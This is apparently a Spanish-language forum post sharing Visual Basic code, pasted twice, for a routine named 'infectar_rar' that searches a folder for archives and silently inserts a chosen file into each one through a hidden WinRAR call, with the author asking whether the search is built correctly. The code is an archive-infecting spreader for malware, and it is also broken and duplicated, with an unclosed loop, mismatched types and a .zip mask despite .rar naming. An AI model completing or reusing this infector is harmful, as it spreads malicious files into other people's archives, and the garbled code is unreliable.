Citar
Private Sub search_rar()
On Error Resume Next
Dim NombreRar As String
Dim rarExit As String
rarExit = FindFirstFile("*.zip", NombreRar)
infectar_rar NombreRar.cFileName
While FindNextFile(rarExit, NombreRar)
infectar_rar NombreRar.cFileName
End Sub
Function infectar_rar(NombreRar As String)
On Error Resume Next
Dim file_exe As String
Dim winrar As String
winrar = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe"
Shell winrar & " -a " & NombreRar & " " & text1.text, vbHide
End Function
On Error Resume Next
Dim NombreRar As String
Dim rarExit As String
rarExit = FindFirstFile("*.zip", NombreRar)
infectar_rar NombreRar.cFileName
While FindNextFile(rarExit, NombreRar)
infectar_rar NombreRar.cFileName
End Sub
Function infectar_rar(NombreRar As String)
On Error Resume Next
Dim file_exe As String
Dim winrar As String
winrar = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe"
Shell winrar & " -a " & NombreRar & " " & text1.text, vbHide
End Function
Queria saber si asi esta bien montado el motor de busqueda para los .rar y luego la forma de usar los resultados.
saludos[sh]